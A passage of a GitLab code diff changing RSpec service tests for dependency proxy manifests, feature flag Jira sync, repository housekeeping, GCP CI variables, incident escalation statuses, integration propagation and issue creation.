+ expect(subject[:from_cache]).to eq false
+ end
+ end
+
+ shared_examples 'returning no manifest' do
+ it 'returns a nil manifest' do
+ expect(subject[:status]).to eq(:success)
+ expect(subject[:from_cache]).to eq false
+ expect(subject[:manifest]).to be_nil
+ end
+ end
+
+ context 'when no manifest exists' do
+ let_it_be(:image) { 'new-image' }
+
+ context 'successful head request' do
+ before do
+ stub_manifest_head(image, tag, headers: headers)
+ stub_manifest_download(image, tag, headers: headers)
+ end
+
+ it_behaves_like 'returning no manifest'
+ end
+
+ context 'failed head request' do
+ before do
+ stub_manifest_head(image, tag, status: :error)
+ stub_manifest_download(image, tag, headers: headers)
+ end
+
+ it_behaves_like 'returning no manifest'
+ end
+ end
+
+ context 'when manifest exists' do
+ before do
+ stub_manifest_head(image, tag, headers: headers)
+ end
+
+ shared_examples 'using the cached manifest' do
+ it 'uses cached manifest instead of downloading one', :aggregate_failures do
+ expect { subject }.to change { dependency_proxy_manifest.reload.read_at }
+
+ expect(subject[:status]).to eq(:success)
+ expect(subject[:manifest]).to be_a(DependencyProxy::Manifest)
+ expect(subject[:manifest]).to eq(dependency_proxy_manifest)
+ expect(subject[:from_cache]).to eq true
+ end
+ end
+
+ it_behaves_like 'using the cached manifest'
+
+ context 'when digest is stale' do
+ let(:digest) { 'new-digest' }
+ let(:content_type) { 'new-content-type' }
+
+ before do
+ stub_manifest_head(image, tag, headers: { DependencyProxy::Manifest::DIGEST_HEADER => digest, 'content-type' => content_type })
+ stub_manifest_download(image, tag, headers: { DependencyProxy::Manifest::DIGEST_HEADER => digest, 'content-type' => content_type })
+ end
+
+ it_behaves_like 'returning no manifest'
+ end
+
+ context 'when the cached manifest is expired' do
+ before do
+ dependency_proxy_manifest.update_column(:status, DependencyProxy::Manifest.statuses[:expired])
+ stub_manifest_head(image, tag, headers: headers)
+ stub_manifest_download(image, tag, headers: headers)
+ end
+
+ it_behaves_like 'returning no manifest'
+ end
+
+ context 'failed connection' do
+ before do
+ expect(DependencyProxy::HeadManifestService).to receive(:new).and_raise(Net::OpenTimeout)
+ end
+
+ it_behaves_like 'using the cached manifest'
+
+ context 'and no manifest is cached' do
+ let_it_be(:image) { 'new-image' }
+
+ it 'returns an error', :aggregate_failures do
+ expect(subject[:status]).to eq(:error)
+ expect(subject[:http_status]).to eq(503)
+ expect(subject[:message]).to eq('Failed to download the manifest from the external registry')
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/spec/services/dependency_proxy/find_or_create_manifest_service_spec.rb b/spec/services/dependency_proxy/find_or_create_manifest_service_spec.rb
deleted file mode 100644
index ef608c9b113..00000000000
--- a/spec/services/dependency_proxy/find_or_create_manifest_service_spec.rb
+++ /dev/null
@@ -1,161 +0,0 @@
-# frozen_string_literal: true
-require 'spec_helper'
-
-RSpec.describe DependencyProxy::FindOrCreateManifestService do
- include DependencyProxyHelpers
-
- let_it_be(:image) { 'alpine' }
- let_it_be(:tag) { 'latest' }
- let_it_be(:dependency_proxy_manifest) { create(:dependency_proxy_manifest, file_name: "#{image}:#{tag}.json") }
-
- let(:manifest) { dependency_proxy_manifest.file.read }
- let(:group) { dependency_proxy_manifest.group }
- let(:token) { Digest::SHA256.hexdigest('123') }
- let(:headers) do
- {
- DependencyProxy::Manifest::DIGEST_HEADER => dependency_proxy_manifest.digest,
- 'content-type' => dependency_proxy_manifest.content_type
- }
- end
-
- describe '#execute' do
- subject { described_class.new(group, image, tag, token).execute }
-
- shared_examples 'downloading the manifest' do
- it 'downloads manifest from remote registry if there is no cached one', :aggregate_failures do
- expect { subject }.to change { group.dependency_proxy_manifests.count }.by(1)
- expect(subject[:status]).to eq(:success)
- expect(subject[:manifest]).to be_a(DependencyProxy::Manifest)
- expect(subject[:manifest]).to be_persisted
- expect(subject[:from_cache]).to eq false
- end
- end
-
- shared_examples 'returning no manifest' do
- it 'returns a nil manifest' do
- expect(subject[:status]).to eq(:success)
- expect(subject[:from_cache]).to eq false
- expect(subject[:manifest]).to be_nil
- end
- end
-
- context 'when no manifest exists' do
- let_it_be(:image) { 'new-image' }
-
- context 'successful head request' do
- before do
- stub_manifest_head(image, tag, headers: headers)
- stub_manifest_download(image, tag, headers: headers)
- end
-
- it_behaves_like 'returning no manifest'
-
- context 'with dependency_proxy_manifest_workhorse feature disabled' do
- before do
- stub_feature_flags(dependency_proxy_manifest_workhorse: false)
- end
-
- it_behaves_like 'downloading the manifest'
- end
- end
-
- context 'failed head request' do
- before do
- stub_manifest_head(image, tag, status: :error)
- stub_manifest_download(image, tag, headers: headers)
- end
-
- it_behaves_like 'returning no manifest'
-
- context 'with dependency_proxy_manifest_workhorse feature disabled' do
- before do
- stub_feature_flags(dependency_proxy_manifest_workhorse: false)
- end
-
- it_behaves_like 'downloading the manifest'
- end
- end
- end
-
- context 'when manifest exists' do
- before do
- stub_manifest_head(image, tag, headers: headers)
- end
-
- shared_examples 'using the cached manifest' do
- it 'uses cached manifest instead of downloading one', :aggregate_failures do
- expect { subject }.to change { dependency_proxy_manifest.reload.read_at }
-
- expect(subject[:status]).to eq(:success)
- expect(subject[:manifest]).to be_a(DependencyProxy::Manifest)
- expect(subject[:manifest]).to eq(dependency_proxy_manifest)
- expect(subject[:from_cache]).to eq true
- end
- end
-
- it_behaves_like 'using the cached manifest'
-
- context 'when digest is stale' do
- let(:digest) { 'new-digest' }
- let(:content_type) { 'new-content-type' }
-
- before do
- stub_manifest_head(image, tag, headers: { DependencyProxy::Manifest::DIGEST_HEADER => digest, 'content-type' => content_type })
- stub_manifest_download(image, tag, headers: { DependencyProxy::Manifest::DIGEST_HEADER => digest, 'content-type' => content_type })
- end
-
- it_behaves_like 'returning no manifest'
-
- context 'with dependency_proxy_manifest_workhorse feature disabled' do
- before do
- stub_feature_flags(dependency_proxy_manifest_workhorse: false)
- end
-
- it 'downloads the new manifest and updates the existing record', :aggregate_failures do
- expect(subject[:status]).to eq(:success)
- expect(subject[:manifest]).to eq(dependency_proxy_manifest)
- expect(subject[:manifest].content_type).to eq(content_type)
- expect(subject[:manifest].digest).to eq(digest)
- expect(subject[:from_cache]).to eq false
- end
- end
- end
-
- context 'when the cached manifest is expired' do
- before do
- dependency_proxy_manifest.update_column(:status, DependencyProxy::Manifest.statuses[:expired])
- stub_manifest_head(image, tag, headers: headers)
- stub_manifest_download(image, tag, headers: headers)
- end
-
- it_behaves_like 'returning no manifest'
-
- context 'with dependency_proxy_manifest_workhorse feature disabled' do
- before do
- stub_feature_flags(dependency_proxy_manifest_workhorse: false)
- end
-
- it_behaves_like 'downloading the manifest'
- end
- end
-
- context 'failed connection' do
- before do
- expect(DependencyProxy::HeadManifestService).to receive(:new).and_raise(Net::OpenTimeout)
- end
-
- it_behaves_like 'using the cached manifest'
-
- context 'and no manifest is cached' do
- let_it_be(:image) { 'new-image' }
-
- it 'returns an error', :aggregate_failures do
- expect(subject[:status]).to eq(:error)
- expect(subject[:http_status]).to eq(503)
- expect(subject[:message]).to eq('Failed to download the manifest from the external registry')
- end
- end
- end
- end
- end
-end
diff --git a/spec/services/dependency_proxy/pull_manifest_service_spec.rb b/spec/services/dependency_proxy/pull_manifest_service_spec.rb
deleted file mode 100644
index 6018a3229fb..00000000000
--- a/spec/services/dependency_proxy/pull_manifest_service_spec.rb
+++ /dev/null
@@ -1,77 +0,0 @@
-# frozen_string_literal: true
-require 'spec_helper'
-
-RSpec.describe DependencyProxy::PullManifestService do
- include DependencyProxyHelpers
-
- let(:image) { 'alpine' }
- let(:tag) { '3.9' }
- let(:token) { Digest::SHA256.hexdigest('123') }
- let(:manifest) { { foo: 'bar' }.to_json }
- let(:digest) { '12345' }
- let(:content_type) { 'foo' }
- let(:headers) do
- { DependencyProxy::Manifest::DIGEST_HEADER => digest, 'content-type' => content_type }
- end
-
- subject { described_class.new(image, tag, token).execute_with_manifest(&method(:check_response)) }
-
- context 'remote request is successful' do
- before do
- stub_manifest_download(image, tag, headers: headers)
- end
-
- it 'successfully returns the manifest' do
- def check_response(response)
- response[:file].rewind
-
- expect(response[:status]).to eq(:success)
- expect(response[:file].read).to eq(manifest)
- expect(response[:digest]).to eq(digest)
- expect(response[:content_type]).to eq(content_type)
- end
-
- subject
- end
- end
-
- context 'remote request is not found' do
- before do
- stub_manifest_download(image, tag, status: 404, body: 'Not found')
- end
-
- it 'returns a 404 not found error' do
- def check_response(response)
- expect(response[:status]).to eq(:error)
- expect(response[:http_status]).to eq(404)
- expect(response[:message]).to eq('Not found')
- end
-
- subject
- end
- end
-
- context 'net timeout exception' do
- before do
- manifest_link = DependencyProxy::Registry.manifest_url(image, tag)
-
- stub_full_request(manifest_link).to_timeout
- end
-
- it 'returns a 599 error' do
- def check_response(response)
- expect(response[:status]).to eq(:error)
- expect(response[:http_status]).to eq(599)
- expect(response[:message]).to eq('execution expired')
- end
-
- subject
- end
- end
-
- context 'no block is given' do
- subject { described_class.new(image, tag, token).execute_with_manifest }
-
- it { expect { subject }.to raise_error(ArgumentError, 'Block must be provided') }
- end
-end
diff --git a/spec/services/deployments/older_deployments_drop_service_spec.rb b/spec/services/deployments/older_deployments_drop_service_spec.rb
index e6fd6725d7d..d9a512a5dd2 100644
--- a/spec/services/deployments/older_deployments_drop_service_spec.rb
+++ b/spec/services/deployments/older_deployments_drop_service_spec.rb
@@ -70,6 +70,8 @@ RSpec.describe Deployments::OlderDeploymentsDropService do
let(:older_deployment) { create(:deployment, :created, environment: environment, deployable: build) }
let(:build) { create(:ci_build, :manual) }
+ # Manual jobs should not be accounted as outdated deployment jobs.
+ # See https://gitlab.com/gitlab-org/gitlab/-/issues/255978 for more information.
it 'does not drop any builds nor track the exception' do
expect(Gitlab::ErrorTracking).not_to receive(:track_exception)
diff --git a/spec/services/events/destroy_service_spec.rb b/spec/services/events/destroy_service_spec.rb
new file mode 100644
index 00000000000..8dcbb83eb1d
--- /dev/null
+++ b/spec/services/events/destroy_service_spec.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Events::DestroyService do
+ subject(:service) { described_class.new(project) }
+
+ let_it_be(:project, reload: true) { create(:project, :repository) }
+ let_it_be(:another_project) { create(:project) }
+ let_it_be(:merge_request) { create(:merge_request, source_project: project) }
+ let_it_be(:user) { create(:user) }
+
+ let!(:unrelated_event) { create(:event, :merged, project: another_project, target: another_project, author: user) }
+
+ before do
+ create(:event, :created, project: project, target: project, author: user)
+ create(:event, :created, project: project, target: merge_request, author: user)
+ create(:event, :merged, project: project, target: merge_request, author: user)
+ end
+
+ let(:events) { project.events }
+
+ describe '#execute', :aggregate_failures do
+ it 'deletes the events' do
+ response = nil
+
+ expect { response = subject.execute }.to change(Event, :count).by(-3)
+
+ expect(response).to be_success
+ expect(unrelated_event.reload).to be_present
+ end
+
+ context 'when an error is raised while deleting the records' do
+ before do
+ allow(project).to receive_message_chain(:events, :all, :delete_all).and_raise(ActiveRecord::ActiveRecordError)
+ end
+
+ it 'returns error' do
+ response = subject.execute
+
+ expect(response).to be_error
+ expect(response.message).to eq 'Failed to remove events.'
+ end
+
+ it 'does not delete events' do
+ expect { subject.execute }.not_to change(Event, :count)
+ end
+ end
+ end
+end
diff --git a/spec/services/feature_flags/create_service_spec.rb b/spec/services/feature_flags/create_service_spec.rb
index 5a517ce6a64..e37d41562f9 100644
--- a/spec/services/feature_flags/create_service_spec.rb
+++ b/spec/services/feature_flags/create_service_spec.rb
@@ -62,10 +62,24 @@ RSpec.describe FeatureFlags::CreateService do
expect { subject }.to change { Operations::FeatureFlag.count }.by(1)
end
- it 'syncs the feature flag to Jira' do
- expect(::JiraConnect::SyncFeatureFlagsWorker).to receive(:perform_async).with(Integer, Integer)
+ context 'when Jira Connect subscription does not exist' do
+ it 'does not sync the feature flag to Jira' do
+ expect(::JiraConnect::SyncFeatureFlagsWorker).not_to receive(:perform_async)
- subject
+ subject
+ end
+ end
+
+ context 'when Jira Connect subscription exists' do
+ before do
+ create(:jira_connect_subscription, namespace: project.namespace)
+ end
+
+ it 'syncs the feature flag to Jira' do
+ expect(::JiraConnect::SyncFeatureFlagsWorker).to receive(:perform_async).with(Integer, Integer)
+
+ subject
+ end
end
it 'creates audit event' do
diff --git a/spec/services/feature_flags/update_service_spec.rb b/spec/services/feature_flags/update_service_spec.rb
index 4858139d60a..abe0112b27e 100644
--- a/spec/services/feature_flags/update_service_spec.rb
+++ b/spec/services/feature_flags/update_service_spec.rb
@@ -27,10 +27,24 @@ RSpec.describe FeatureFlags::UpdateService do
expect(subject[:status]).to eq(:success)
end
- it 'syncs the feature flag to Jira' do
- expect(::JiraConnect::SyncFeatureFlagsWorker).to receive(:perform_async).with(Integer, Integer)
+ context 'when Jira Connect subscription does not exist' do
+ it 'does not sync the feature flag to Jira' do
+ expect(::JiraConnect::SyncFeatureFlagsWorker).not_to receive(:perform_async)
+
+ subject
+ end
+ end
- subject
+ context 'when Jira Connect subscription exists' do
+ before do
+ create(:jira_connect_subscription, namespace: project.namespace)
+ end
+
+ it 'syncs the feature flag to Jira' do
+ expect(::JiraConnect::SyncFeatureFlagsWorker).to receive(:perform_async).with(Integer, Integer)
+
+ subject
+ end
end
it 'creates audit event with correct message' do
diff --git a/spec/services/git/branch_push_service_spec.rb b/spec/services/git/branch_push_service_spec.rb
index d70e458ba5e..5a637b0956b 100644
--- a/spec/services/git/branch_push_service_spec.rb
+++ b/spec/services/git/branch_push_service_spec.rb
@@ -554,44 +554,6 @@ RSpec.describe Git::BranchPushService, services: true do
end
end
- describe "housekeeping", :clean_gitlab_redis_cache, :clean_gitlab_redis_queues, :clean_gitlab_redis_shared_state do
- let(:housekeeping) { Repositories::HousekeepingService.new(project) }
-
- before do
- allow(Repositories::HousekeepingService).to receive(:new).and_return(housekeeping)
- end
-
- it 'does not perform housekeeping when not needed' do
- expect(housekeeping).not_to receive(:execute)
-
- execute_service(project, user, oldrev: oldrev, newrev: newrev, ref: ref)
- end
-
- context 'when housekeeping is needed' do
- before do
- allow(housekeeping).to receive(:needed?).and_return(true)
- end
-
- it 'performs housekeeping' do
- expect(housekeeping).to receive(:execute)
-
- execute_service(project, user, oldrev: oldrev, newrev: newrev, ref: ref)
- end
-
- it 'does not raise an exception' do
- allow(housekeeping).to receive(:try_obtain_lease).and_return(false)
-
- execute_service(project, user, oldrev: oldrev, newrev: newrev, ref: ref)
- end
- end
-
- it 'increments the push counter' do
- expect(housekeeping).to receive(:increment!)
-
- execute_service(project, user, oldrev: oldrev, newrev: newrev, ref: ref)
- end
- end
-
describe "CI environments" do
context 'create branch' do
let(:oldrev) { blankrev }
diff --git a/spec/services/git/process_ref_changes_service_spec.rb b/spec/services/git/process_ref_changes_service_spec.rb
index 2a223091d0c..f52df9b0073 100644
--- a/spec/services/git/process_ref_changes_service_spec.rb
+++ b/spec/services/git/process_ref_changes_service_spec.rb
@@ -161,6 +161,50 @@ RSpec.describe Git::ProcessRefChangesService do
end
end
end
+
+ describe "housekeeping", :clean_gitlab_redis_cache, :clean_gitlab_redis_queues, :clean_gitlab_redis_shared_state do
+ let(:housekeeping) { Repositories::HousekeepingService.new(project) }
+
+ before do
+ allow(Repositories::HousekeepingService).to receive(:new).and_return(housekeeping)
+
+ allow(push_service_class)
+ .to receive(:new)
+ .with(project, project.owner, hash_including(execute_project_hooks: true, create_push_event: true))
+ .exactly(changes.count).times
+ .and_return(service)
+ end
+
+ it 'does not perform housekeeping when not needed' do
+ expect(housekeeping).not_to receive(:execute)
+
+ subject.execute
+ end
+
+ context 'when housekeeping is needed' do
+ before do
+ allow(housekeeping).to receive(:needed?).and_return(true)
+ end
+
+ it 'performs housekeeping' do
+ expect(housekeeping).to receive(:execute)
+
+ subject.execute
+ end
+
+ it 'does not raise an exception' do
+ allow(housekeeping).to receive(:try_obtain_lease).and_return(false)
+
+ subject.execute
+ end
+ end
+
+ it 'increments the push counter' do
+ expect(housekeeping).to receive(:increment!)
+
+ subject.execute
+ end
+ end
end
context 'branch changes' do
diff --git a/spec/services/google_cloud/service_accounts_service_spec.rb b/spec/services/google_cloud/service_accounts_service_spec.rb
index a0d09affa72..505c623c02a 100644
--- a/spec/services/google_cloud/service_accounts_service_spec.rb
+++ b/spec/services/google_cloud/service_accounts_service_spec.rb
@@ -3,11 +3,11 @@
require 'spec_helper'
RSpec.describe GoogleCloud::ServiceAccountsService do
- let_it_be(:project) { create(:project) }
-
let(:service) { described_class.new(project) }
describe 'find_for_project' do
+ let_it_be(:project) { create(:project) }
+
context 'when a project does not have GCP service account vars' do
before do
project.variables.build(key: 'blah', value: 'foo', environment_scope: 'world')
@@ -21,13 +21,13 @@ RSpec.describe GoogleCloud::ServiceAccountsService do
context 'when a project has GCP service account ci vars' do
before do
- project.variables.build(environment_scope: '*', key: 'GCP_PROJECT_ID', value: 'prj1')
- project.variables.build(environment_scope: '*', key: 'GCP_SERVICE_ACCOUNT_KEY', value: 'mock')
- project.variables.build(environment_scope: 'staging', key: 'GCP_PROJECT_ID', value: 'prj2')
- project.variables.build(environment_scope: 'staging', key: 'GCP_SERVICE_ACCOUNT', value: 'mock')
- project.variables.build(environment_scope: 'production', key: 'GCP_PROJECT_ID', value: 'prj3')
- project.variables.build(environment_scope: 'production', key: 'GCP_SERVICE_ACCOUNT', value: 'mock')
- project.variables.build(environment_scope: 'production', key: 'GCP_SERVICE_ACCOUNT_KEY', value: 'mock')
+ project.variables.build(protected: true, environment_scope: '*', key: 'GCP_PROJECT_ID', value: 'prj1')
+ project.variables.build(protected: true, environment_scope: '*', key: 'GCP_SERVICE_ACCOUNT_KEY', value: 'mock')
+ project.variables.build(protected: true, environment_scope: 'staging', key: 'GCP_PROJECT_ID', value: 'prj2')
+ project.variables.build(protected: true, environment_scope: 'staging', key: 'GCP_SERVICE_ACCOUNT', value: 'mock')
+ project.variables.build(protected: true, environment_scope: 'production', key: 'GCP_PROJECT_ID', value: 'prj3')
+ project.variables.build(protected: true, environment_scope: 'production', key: 'GCP_SERVICE_ACCOUNT', value: 'mock')
+ project.variables.build(protected: true, environment_scope: 'production', key: 'GCP_SERVICE_ACCOUNT_KEY', value: 'mock')
project.save!
end
@@ -55,4 +55,55 @@ RSpec.describe GoogleCloud::ServiceAccountsService do
end
end
end
+
+ describe 'add_for_project' do
+ let_it_be(:project) { create(:project) }
+
+ it 'saves GCP creds as project CI vars' do
+ service.add_for_project('env_1', 'gcp_prj_id_1', 'srv_acc_1', 'srv_acc_key_1')
+ service.add_for_project('env_2', 'gcp_prj_id_2', 'srv_acc_2', 'srv_acc_key_2')
+
+ list = service.find_for_project
+
+ aggregate_failures 'testing list of service accounts' do
+ expect(list.length).to eq(2)
+
+ expect(list.first[:environment]).to eq('env_1')
+ expect(list.first[:gcp_project]).to eq('gcp_prj_id_1')
+ expect(list.first[:service_account_exists]).to eq(true)
+ expect(list.first[:service_account_key_exists]).to eq(true)
+
+ expect(list.second[:environment]).to eq('env_2')
+ expect(list.second[:gcp_project]).to eq('gcp_prj_id_2')
+ expect(list.second[:service_account_exists]).to eq(true)
+ expect(list.second[:service_account_key_exists]).to eq(true)
+ end
+ end
+
+ it 'replaces previously stored CI vars with new CI vars' do
+ service.add_for_project('env_1', 'new_project', 'srv_acc_1', 'srv_acc_key_1')
+
+ list = service.find_for_project
+
+ aggregate_failures 'testing list of service accounts' do
+ expect(list.length).to eq(2)
+
+ # asserting that the first service account is replaced
+ expect(list.first[:environment]).to eq('env_1')
+ expect(list.first[:gcp_project]).to eq('new_project')
+ expect(list.first[:service_account_exists]).to eq(true)
+ expect(list.first[:service_account_key_exists]).to eq(true)
+
+ expect(list.second[:environment]).to eq('env_2')
+ expect(list.second[:gcp_project]).to eq('gcp_prj_id_2')
+ expect(list.second[:service_account_exists]).to eq(true)
+ expect(list.second[:service_account_key_exists]).to eq(true)
+ end
+ end
+
+ it 'underlying project CI vars must be protected' do
+ expect(project.variables.first.protected).to eq(true)
+ expect(project.variables.second.protected).to eq(true)
+ end
+ end
end
diff --git a/spec/services/groups/create_service_spec.rb b/spec/services/groups/create_service_spec.rb
index 7ea08131419..81cab973b30 100644
--- a/spec/services/groups/create_service_spec.rb
+++ b/spec/services/groups/create_service_spec.rb
@@ -24,6 +24,16 @@ RSpec.describe Groups::CreateService, '#execute' do
end
end
+ context 'when `setup_for_company:true` is passed' do
+ let(:params) { group_params.merge(setup_for_company: true) }
+ let(:service) { described_class.new(user, params) }
+ let(:created_group) { service.execute }
+
+ it 'creates group with the specified setup_for_company' do
+ expect(created_group.setup_for_company).to eq(true)
+ end
+ end
+
context 'creating a group with `default_branch_protection` attribute' do
let(:params) { group_params.merge(default_branch_protection: Gitlab::Access::PROTECTION_NONE) }
let(:service) { described_class.new(user, params) }
diff --git a/spec/services/groups/transfer_service_spec.rb b/spec/services/groups/transfer_service_spec.rb
index 35d46884f4d..3a696228382 100644
--- a/spec/services/groups/transfer_service_spec.rb
+++ b/spec/services/groups/transfer_service_spec.rb
@@ -792,7 +792,7 @@ RSpec.describe Groups::TransferService, :sidekiq_inline do
end
end
- context 'when group has pending builds' do
+ context 'when group has pending builds', :sidekiq_inline do
let_it_be(:project) { create(:project, :public, namespace: group.reload) }
let_it_be(:other_project) { create(:project) }
let_it_be(:pending_build) { create(:ci_pending_build, project: project) }
diff --git a/spec/services/groups/update_shared_runners_service_spec.rb b/spec/services/groups/update_shared_runners_service_spec.rb
index 53870e810b1..6e938984052 100644
--- a/spec/services/groups/update_shared_runners_service_spec.rb
+++ b/spec/services/groups/update_shared_runners_service_spec.rb
@@ -63,6 +63,8 @@ RSpec.describe Groups::UpdateSharedRunnersService do
let_it_be(:pending_build_2) { create(:ci_pending_build, project: project, instance_runners_enabled: false) }
it 'updates pending builds for the group' do
+ expect(::Ci::UpdatePendingBuildService).to receive(:new).and_call_original
+
subject
expect(pending_build_1.reload.instance_runners_enabled).to be_truthy
@@ -73,6 +75,8 @@ RSpec.describe Groups::UpdateSharedRunnersService do
let(:params) { { shared_runners_setting: 'invalid_enabled' } }
it 'does not update pending builds for the group' do
+ expect(::Ci::UpdatePendingBuildService).not_to receive(:new).and_call_original
+
subject
expect(pending_build_1.reload.instance_runners_enabled).to be_falsey
@@ -99,6 +103,8 @@ RSpec.describe Groups::UpdateSharedRunnersService do
let_it_be(:pending_build_2) { create(:ci_pending_build, project: project, instance_runners_enabled: true) }
it 'updates pending builds for the group' do
+ expect(::Ci::UpdatePendingBuildService).to receive(:new).and_call_original
+
subject
expect(pending_build_1.reload.instance_runners_enabled).to be_falsey
diff --git a/spec/services/import/github_service_spec.rb b/spec/services/import/github_service_spec.rb
index 776df01d399..04a94d96f67 100644
--- a/spec/services/import/github_service_spec.rb
+++ b/spec/services/import/github_service_spec.rb
@@ -8,7 +8,7 @@ RSpec.describe Import::GithubService do
let_it_be(:access_params) { { github_access_token: 'github-complex-token' } }
let_it_be(:params) { { repo_id: 123, new_name: 'new_repo', target_namespace: 'root' } }
- let(:subject) { described_class.new(client, user, params) }
+ subject(:github_importer) { described_class.new(client, user, params) }
before do
allow(subject).to receive(:authorized?).and_return(true)
@@ -110,6 +110,29 @@ RSpec.describe Import::GithubService do
end
end
end
+
+ context 'when a blocked/local URL is used as github_hostname' do
+ let(:message) { 'Error while attempting to import from GitHub' }
+ let(:error) { "Invalid URL: #{url}" }
+
+ before do
+ stub_application_setting(allow_local_requests_from_web_hooks_and_services: false)
+ end
+
+ where(url: %w[https://localhost https://10.0.0.1])
+
+ with_them do
+ it 'returns and logs an error' do
+ allow(github_importer).to receive(:url).and_return(url)
+
+ expect(Gitlab::Import::Logger).to receive(:error).with({
+ message: message,
+ error: error
+ }).and_call_original
+ expect(github_importer.execute(access_params, :github)).to include(blocked_url_error(url))
+ end
+ end
+ end
end
context 'when remove_legacy_github_client feature flag is enabled' do
@@ -135,4 +158,12 @@ RSpec.describe Import::GithubService do
message: '"repository" size (101 Bytes) is larger than the limit of 100 Bytes.'
}
end
+
+ def blocked_url_error(url)
+ {
+ status: :error,
+ http_status: :bad_request,
+ message: "Invalid URL: #{url}"
+ }
+ end
end
diff --git a/spec/services/incident_management/issuable_escalation_statuses/create_service_spec.rb b/spec/services/incident_management/issuable_escalation_statuses/create_service_spec.rb
new file mode 100644
index 00000000000..8fbab361ec4
--- /dev/null
+++ b/spec/services/incident_management/issuable_escalation_statuses/create_service_spec.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe IncidentManagement::IssuableEscalationStatuses::CreateService do
+ let_it_be(:project) { create(:project) }
+
+ let(:incident) { create(:incident, project: project) }
+ let(:service) { described_class.new(incident) }
+
+ subject(:execute) { service.execute}
+
+ it 'creates an escalation status for the incident with no policy set' do
+ expect { execute }.to change { incident.reload.incident_management_issuable_escalation_status }.from(nil)
+
+ status = incident.incident_management_issuable_escalation_status
+
+ expect(status.policy_id).to eq(nil)
+ expect(status.escalations_started_at).to eq(nil)
+ expect(status.status_name).to eq(:triggered)
+ end
+
+ context 'existing escalation status' do
+ let!(:existing_status) { create(:incident_management_issuable_escalation_status, issue: incident) }
+
+ it 'exits without changing anything' do
+ expect { execute }.not_to change { incident.reload.incident_management_issuable_escalation_status }
+ end
+ end
+end
diff --git a/spec/services/integrations/propagate_service_spec.rb b/spec/services/integrations/propagate_service_spec.rb
new file mode 100644
index 00000000000..7ae843f6aeb
--- /dev/null
+++ b/spec/services/integrations/propagate_service_spec.rb
@@ -0,0 +1,95 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Integrations::PropagateService do
+ describe '.propagate' do
+ include JiraServiceHelper
+
+ before do
+ stub_jira_integration_test
+ end
+
+ let(:group) { create(:group) }
+
+ let_it_be(:project) { create(:project) }
+ let_it_be(:instance_integration) { create(:jira_integration, :instance) }
+ let_it_be(:not_inherited_integration) { create(:jira_integration, project: project) }
+ let_it_be(:inherited_integration) do
+ create(:jira_integration, project: create(:project), inherit_from_id: instance_integration.id)
+ end
+
+ let_it_be(:different_type_inherited_integration) do
+ create(:redmine_integration, project: project, inherit_from_id: instance_integration.id)
+ end
+
+ context 'with inherited integration' do
+ let(:integration) { inherited_integration }
+
+ it 'calls to PropagateIntegrationProjectWorker' do
+ expect(PropagateIntegrationInheritWorker).to receive(:perform_async)
+ .with(instance_integration.id, inherited_integration.id, inherited_integration.id)
+
+ described_class.propagate(instance_integration)
+ end
+ end
+
+ context 'with a project without integration' do
+ let(:another_project) { create(:project) }
+
+ it 'calls to PropagateIntegrationProjectWorker' do
+ expect(PropagateIntegrationProjectWorker).to receive(:perform_async)
+ .with(instance_integration.id, another_project.id, another_project.id)
+
+ described_class.propagate(instance_integration)
+ end
+ end
+
+ context 'with a group without integration' do
+ it 'calls to PropagateIntegrationProjectWorker' do
+ expect(PropagateIntegrationGroupWorker).to receive(:perform_async)
+ .with(instance_integration.id, group.id, group.id)
+
+ described_class.propagate(instance_integration)
+ end
+ end
+
+ context 'for a group-level integration' do
+ let(:group_integration) { create(:jira_integration, :group, group: group) }
+
+ context 'with a project without integration' do
+ let(:another_project) { create(:project, group: group) }
+
+ it 'calls to PropagateIntegrationProjectWorker' do
+ expect(PropagateIntegrationProjectWorker).to receive(:perform_async)
+ .with(group_integration.id, another_project.id, another_project.id)
+
+ described_class.propagate(group_integration)
+ end
+ end
+
+ context 'with a subgroup without integration' do
+ let(:subgroup) { create(:group, parent: group) }
+
+ it 'calls to PropagateIntegrationGroupWorker' do
+ expect(PropagateIntegrationGroupWorker).to receive(:perform_async)
+ .with(group_integration.id, subgroup.id, subgroup.id)
+
+ described_class.propagate(group_integration)
+ end
+ end
+
+ context 'with a subgroup with integration' do
+ let(:subgroup) { create(:group, parent: group) }
+ let(:subgroup_integration) { create(:jira_integration, :group, group: subgroup, inherit_from_id: group_integration.id) }
+
+ it 'calls to PropagateIntegrationInheritDescendantWorker' do
+ expect(PropagateIntegrationInheritDescendantWorker).to receive(:perform_async)
+ .with(group_integration.id, subgroup_integration.id, subgroup_integration.id)
+
+ described_class.propagate(group_integration)
+ end
+ end
+ end
+ end
+end
diff --git a/spec/services/issues/create_service_spec.rb b/spec/services/issues/create_service_spec.rb
index 18e03db11dc..8496bd31e00 100644
--- a/spec/services/issues/create_service_spec.rb
+++ b/spec/services/issues/create_service_spec.rb
@@ -5,7 +5,8 @@ require 'spec_helper'
RSpec.describe Issues::CreateService do
include AfterNextHelpers
- let_it_be_with_reload(:project) { create(:project) }
+ let_it_be(:group) { create(:group) }
+ let_it_be_with_reload(:project) { create(:project, group: group) }
let_it_be(:user) { create(:user) }
let(:spam_params) { double }
@@ -107,6 +108,13 @@ RSpec.describe Issues::CreateService do
.to change { Label.where(incident_label_attributes).count }.by(1)
end
+ it 'calls IncidentManagement::Incidents::CreateEscalationStatusService' do
+ expect_next(::IncidentManagement::IssuableEscalationStatuses::CreateService, a_kind_of(Issue))
+ .to receive(:execute)
+
+ issue
+ end
+
context 'when invalid' do
before do
opts.merge!(title: '')
@@ -154,7 +162,7 @@ RSpec.describe Issues::CreateService do
end
it 'moves the issue to the end, in an asynchronous worker' do
- expect(IssuePlacementWorker).to receive(:perform_async).with(be_nil, Integer)
+ expect(Issues::PlacementWorker).to receive(:perform_async).with(be_nil, Integer)
described_class.new(project: project, current_user: user, params: opts, spam_params: spam_params).execute
end
@@ -430,25 +438,29 @@ RSpec.describe Issues::CreateService do
end
context 'Quick actions' do
- context 'with assignee and milestone in params and command' do
+ context 'with assignee, milestone, and contact in params and command' do
+ let_it_be(:contact) { create(:contact, group: group) }
+
let(:opts) do
{
assignee_ids: [create(:user).id],
milestone_id: 1,
title: 'Title',
- description: %(/assign @#{assignee.username}\n/milestone %"#{milestone.name}")
+ description: %(/assign @#{assignee.username}\n/milestone %"#{milestone.name}"),
